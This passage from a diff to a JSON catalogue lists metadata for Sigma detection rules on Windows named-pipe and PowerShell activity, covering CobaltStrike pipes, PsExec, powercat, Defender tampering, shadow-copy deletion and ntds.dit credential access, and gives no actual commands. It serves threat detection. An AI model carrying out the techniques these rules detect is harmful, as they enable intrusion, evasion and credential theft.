Pipe", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1429530155291193354?s=20", + "https://github.com/zcgonvh/EfsPotato", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_efspotato_namedpipe.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2021/08/23", + "filename": "pipe_created_efspotato_namedpipe.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of default named pipes used by the Koh tool", + "uuid": "0adc67e0-a68f-4ffd-9c43-28905aad5d6a", + "value": "Koh Default Named Pipes", + "meta": { + "refs": [ + "https://github.com/GhostPack/Koh/blob/0283d9f3f91cf74732ad377821986cfcb088e20a/Clients/BOF/KohClient.c#L12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_koh_default_pipe.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access", + "attack.t1528", + "attack.t1134.001" + ], + "creation_date": "2022/07/08", + "filename": "pipe_created_koh_default_pipe.yml", + "author": "Nasreddine Bencherchali", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a named pipe as used by CobaltStrike", + "uuid": "d5601f8c-b26f-4ab0-9035-69e11a8d4ad2", + "value": "CobaltStrike Named Pipe", + "meta": { + "refs": [ + "https://twitter.com/d4rksystem/status/1357010969264873472", + "https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/", + "https://github.com/Neo23x0/sigma/issues/253", + "https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/", + "https://redcanary.com/threat-detection-report/threats/cobalt-strike/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_cobaltstrike.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2021/05/25", + "filename": "pipe_created_mal_cobaltstrike.yml", + "author": "Florian Roth, Wojciech Lesicki", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles", + "uuid": "0e7163d4-9e19-4fa7-9be6-000c61aad77a", + "value": "CobaltStrike Named Pipe Pattern Regex", + "meta": { + "refs": [ + "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", + "https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_cobaltstrike_re.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2021/07/30", + "filename": "pipe_created_mal_cobaltstrike_re.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a named pipe used by known APT malware", + "uuid": "fe3ac066-98bb-432a-b1e7-a5229cb39d4a", + "value": "Malicious Named Pipe", + "meta": { + "refs": [ + "https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/", + "https://securelist.com/faq-the-projectsauron-apt/75533/", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "https://www.us-cert.gov/ncas/alerts/TA17-117A", + "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "https://thedfirreport.com/2020/06/21/snatch-ransomware/", + "https://github.com/RiccardoAncarani/LiquidSnake", + "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar19-304a", + "https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf", + "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_namedpipes.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2017/11/06", + "filename": "pipe_created_mal_namedpipes.yml", + "author": "Florian Roth, blueteam0ps, elhoim", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects PAExec default named pipe", + "uuid": "f6451de4-df0a-41fa-8d72-b39f54a08db5", + "value": "PAExec Default Named Pipe", + "meta": { + "refs": [ + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Command%20and%20Control/C2-NamedPipe.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_paexec_default_pipe.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2022/10/26", + "filename": "pipe_created_paexec_default_pipe.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of PowerShell via creation of named pipe starting with PSHost", + "uuid": "ac7102b4-9e1e-4802-9b4f-17c5524c015c", + "value": "PowerShell Execution Via Named Pipe", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190410151110.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_powershell_execution_pipe.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/09/12", + "filename": "pipe_created_powershell_execution_pipe.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "informational", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects PsExec service installation and execution events (service and Sysmon)", + "uuid": "f3f3a972-f982-40ad-b63c-bca6afdfad7c", + "value": "PsExec Default Named Pipe", + "meta": { + "refs": [ + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_default_pipe.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2017/06/12", + "filename": "pipe_created_psexec_default_pipe.yml", + "author": "Thomas Patzke", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects PsExec default pipe creation where the image executed is located in a suspicious location. Which could indicate that the tool is being used in an attack", + "uuid": "41504465-5e3a-4a5b-a5b4-2a0baadd4463", + "value": "PsExec Tool Execution From Suspicious Locations - PipeName", + "meta": { + "refs": [ + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_default_pipe_from_susp_location.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2022/08/04", + "filename": "pipe_created_psexec_default_pipe_from_susp_location.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Rare legitimate use of psexec from the locations mentioned above" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detecting use PsExec via Pipe Creation/Access to pipes", + "uuid": "9e77ed63-2ecf-4c7b-b09d-640834882028", + "value": "PsExec Pipes Artifacts", + "meta": { + "refs": [ + "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_pipes_artifacts.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002", + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2020/05/10", + "filename": "pipe_created_psexec_pipes_artifacts.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate Administrator activity" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious local connections via a named pipe to the AD FS configuration database (Windows Internal Database).\nUsed to access information such as the AD FS configuration settings which contains sensitive information used to sign SAML tokens.\n", + "uuid": "1ea13e8c-03ea-409b-877d-ce5c3d2c1cb3", + "value": "ADFS Database Named Pipe Connection", + "meta": { + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/ADFSDBNamedPipeConnection.yaml", + "https://o365blog.com/post/adfs/", + "https://github.com/Azure/SimuLand", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_adfs_namedpipe_connection.yml" + ], + "tags": [ + "attack.collection", + "attack.t1005" + ], + "creation_date": "2021/10/08", + "filename": "pipe_created_susp_adfs_namedpipe_connection.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Processes in the filter condition" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles", + "uuid": "85adeb13-4fc9-4e68-8a4a-c7cb2c336eb7", + "value": "CobaltStrike Named Pipe Patterns", + "meta": { + "refs": [ + "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", + "https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_cobaltstrike_pipe_patterns.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2021/07/30", + "filename": "pipe_created_susp_cobaltstrike_pipe_patterns.yml", + "author": "Florian Roth, Christian Burkard", + "level": "high", + "falsepositive": [ + "Chrome instances using the exact same pipe name \"mojo.something\"" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects the WMI Event Consumer service scrcons.exe creating a named pipe", + "uuid": "493fb4ab-cdcc-4c4f-818c-0e363bd1e4bb", + "value": "WMI Event Consumer Created Named Pipe", + "meta": { + "refs": [ + "https://github.com/RiccardoAncarani/LiquidSnake", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_wmi_consumer_namedpipe.yml" + ], + "tags": [ + "attack.t1047", + "attack.execution" + ], + "creation_date": "2021/09/01", + "filename": "pipe_created_susp_wmi_consumer_namedpipe.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", + "uuid": "d7326048-328b-4d5e-98af-86e84b17c765", + "value": "Alternate PowerShell Hosts", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190815181010.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_alternate_powershell_hosts.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/08/11", + "filename": "posh_pc_alternate_powershell_hosts.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "medium", + "falsepositive": [ + "Programs using PowerShell directly without invocation of a dedicated interpreter", + "MSP Detection Searcher", + "Citrix ConfigSync.ps1" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "Shadow Copies deletion using operating systems utilities via PowerShell", + "uuid": "87df9ee1-5416-453a-8a08-e8d4a51e9ce1", + "value": "Delete Volume Shadow Copies Via WMI With PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md", + "https://www.fortinet.com/blog/threat-research/stomping-shadow-copies-a-second-look-into-deletion-methods", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_delete_volume_shadow_copies.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2021/06/03", + "filename": "posh_pc_delete_volume_shadow_copies.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0", + "uuid": "6331d09b-4785-4c13-980f-f96661356249", + "value": "PowerShell Downgrade Attack", + "meta": { + "refs": [ + "http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_downgrade_attack.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/22", + "filename": "posh_pc_downgrade_attack.yml", + "author": "Florian Roth (rule), Lee Holmes (idea), Harish Segar (improvements)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell called from an executable by the version mismatch method", + "uuid": "c70e019b-1479-4b65-b0cc-cd0c6093a599", + "value": "PowerShell Called from an Executable Version Mismatch", + "meta": { + "refs": [ + "https://adsecurity.org/?p=2921", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_exe_calling_ps.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/05", + "filename": "posh_pc_exe_calling_ps.yml", + "author": "Sean Metcalf (source), Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", + "uuid": "c5b20776-639a-49bf-94c7-84f912b91c15", + "value": "Netcat The Powershell Version", + "meta": { + "refs": [ + "https://nmap.org/ncat/", + "https://github.com/besimorhino/powercat", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_powercat.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1095" + ], + "creation_date": "2021/07/21", + "filename": "posh_pc_powercat.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote PowerShell sessions", + "uuid": "60167e5c-84b2-4c95-a7ac-86281f27c445", + "value": "Remote PowerShell Session (PS Classic)", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_remote_powershell_session.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.lateral_movement", + "attack.t1021.006" + ], + "creation_date": "2019/08/10", + "filename": "posh_pc_remote_powershell_session.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Legitimate use remote PowerShell sessions" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "Detects renamed powershell", + "uuid": "30a8cb77-8eb3-4cfb-8e79-ad457c5a4592", + "value": "Renamed Powershell Under Powershell Channel", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_renamed_powershell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/06/29", + "filename": "posh_pc_renamed_powershell.yml", + "author": "Harish Segar, frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", + "uuid": "f65e22f9-819e-4f96-9c7b-498364ae7a25", + "value": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_athremotefxvgpudisablementcommand.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/07/13", + "filename": "posh_pc_susp_athremotefxvgpudisablementcommand.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell download command", + "uuid": "3236fcd0-b7e3-4433-b4f8-86ad61a9af2d", + "value": "Suspicious PowerShell Download", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_download.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/05", + "filename": "posh_pc_susp_download.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "PowerShell scripts that download content from the Internet" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", + "uuid": "b366adb4-d63d-422d-8a2c-186463b5ded0", + "value": "Use Get-NetTCPConnection", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_get_nettcpconnection.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1049" + ], + "creation_date": "2021/12/10", + "filename": "posh_pc_susp_get_nettcpconnection.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", + "uuid": "71ff406e-b633-4989-96ec-bc49d825a412", + "value": "Zip A Folder With PowerShell For Staging In Temp", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_zip_compress.yml" + ], + "tags": [ + "attack.collection", + "attack.t1074.001" + ], + "creation_date": "2021/07/20", + "filename": "posh_pc_susp_zip_compress.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Attempting to disable scheduled scanning and other parts of windows defender atp. Or set default actions to allow.", + "uuid": "ec19ebab-72dc-40e1-9728-4c0b805d722c", + "value": "Tamper Windows Defender - PSClassic", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_tamper_with_windows_defender.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/06/07", + "filename": "posh_pc_tamper_with_windows_defender.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_classic_provider_start", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application.", + "uuid": "df9a0e0e-fedb-4d6c-8668-d765dfc92aa7", + "value": "Suspicious Non PowerShell WSMAN COM Provider", + "meta": { + "refs": [ + "https://twitter.com/chadtilbury/status/1275851297770610688", + "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/", + "https://github.com/bohops/WSMan-WinRM", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_wsman_com_provider_no_powershell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.lateral_movement", + "attack.t1021.003" + ], + "creation_date": "2020/06/24", + "filename": "posh_pc_wsman_com_provider_no_powershell.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious powershell process which includes bxor command, alternative obfuscation method to b64 encoded commands.", + "uuid": "812837bb-b17f-45e9-8bd0-0ec35d2e3bd6", + "value": "Suspicious XOR Encoded PowerShell Command Line", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=46", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_xor_commandline.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/06/29", + "filename": "posh_pc_xor_commandline.yml", + "author": "Teymur Kheirkhabarov, Harish Segar (rule)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_classic_start", + "logsource.product": "windows" + } + }, + { + "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", + "uuid": "64e8e417-c19a-475a-8d19-98ea705394cc", + "value": "Alternate PowerShell Hosts", + "meta": { + "refs": [ + "https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_alternate_powershell_hosts.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/08/11", + "filename": "posh_pm_alternate_powershell_hosts.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "medium", + "falsepositive": [ + "Programs using PowerShell directly without invocation of a dedicated interpreter", + "MSP Detection Searcher", + "Citrix ConfigSync.ps1" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including\nCobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads \nthat often undergo minimal changes by attackers due to bad opsec.\n", + "uuid": "8d31a8ce-46b5-4dd6-bdc3-680931f1db86", + "value": "Bad Opsec Powershell Code Artifacts", + "meta": { + "refs": [ + "https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/", + "https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/", + "https://www.mdeditor.tw/pl/pgRt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_bad_opsec_artifacts.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "posh_pm_bad_opsec_artifacts.yml", + "author": "ok @securonix invrep_de, oscd.community", + "level": "critical", + "falsepositive": [ + "Moderate-to-low; Despite the shorter length/lower entropy for some of these, because of high specificity, fp appears to be fairly limited in many environments." + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects keywords that could indicate clearing PowerShell history", + "uuid": "f99276ad-d122-4989-a09a-d00904a5f9d2", + "value": "Clear PowerShell History", + "meta": { + "refs": [ + "https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_clear_powershell_history.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.003" + ], + "creation_date": "2019/10/25", + "filename": "posh_pm_clear_powershell_history.yml", + "author": "Ilyas Ochkov, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "A General detection for specific decompress commands in PowerShell logs. This could be an adversary decompressing files.", + "uuid": "1ddc1472-8e52-4f7d-9f11-eab14fc171f5", + "value": "PowerShell Decompress Commands", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/8", + "https://threathunterplaybook.com/evals/apt29/detections/4.A.3_09F29912-8E93-461E-9E89-3F06F6763383.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_decompress_commands.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140" + ], + "creation_date": "2020/05/02", + "filename": "posh_pm_decompress_commands.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "informational", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious invocation of the Get-ADDBAccount script that reads from a ntds.dit file and may be used to get access to credentials without using any credential dumpers", + "uuid": "b140afd9-474b-4072-958e-2ebb435abd68", + "value": "Suspicious Get-ADDBAccount Usage", + "meta": { + "refs": [ + "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", + "https://github.com/MichaelGrafnetter/DSInternals/blob/7ba59c12ee9a1cb430d7dc186a3366842dd612c8/Documentation/PowerShell/Get-ADDBAccount.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_addbaccount.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ], + "creation_date": "2022/03/16", + "filename": "posh_pm_get_addbaccount.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "A General detection for the Get-Clipboard commands in PowerShell logs. This could be an adversary capturing clipboard contents.", + "uuid": "4cbd4f12-2e22-43e3-882f-bff3247ffb78", + "value": "PowerShell Get Clipboard", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/16", + "https://threathunterplaybook.com/evals/apt29/detections/7.A.2_F4609F7E-C4DB-4327-91D4-59A58C962A02.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_clipboard.yml" + ], + "tags": [ + "attack.collection", + "attack.t1115" + ], + "creation_date": "2020/05/02", + "filename": "posh_pm_get_clipboard.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", + "uuid": "a136cde0-61ad-4a61-9b82-8dc490e60dd2", + "value": "Invoke-Obfuscation CLIP+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_clip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "posh_pm_invoke_obfuscation_clip.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below", + "uuid": "2f211361-7dce-442d-b78a-c04039677378", + "value": "Invoke-Obfuscation Obfuscated IEX Invocation", + "meta": { + "refs": [ + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_obfuscated_iex.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/11/08", + "filename": "posh_pm_invoke_obfuscation_obfuscated_iex.yml", + "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_module", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of stdin to execute PowerShell", + "uuid": "9ac8b09b-45de-4a07-9da1-0de8c09304a3", + 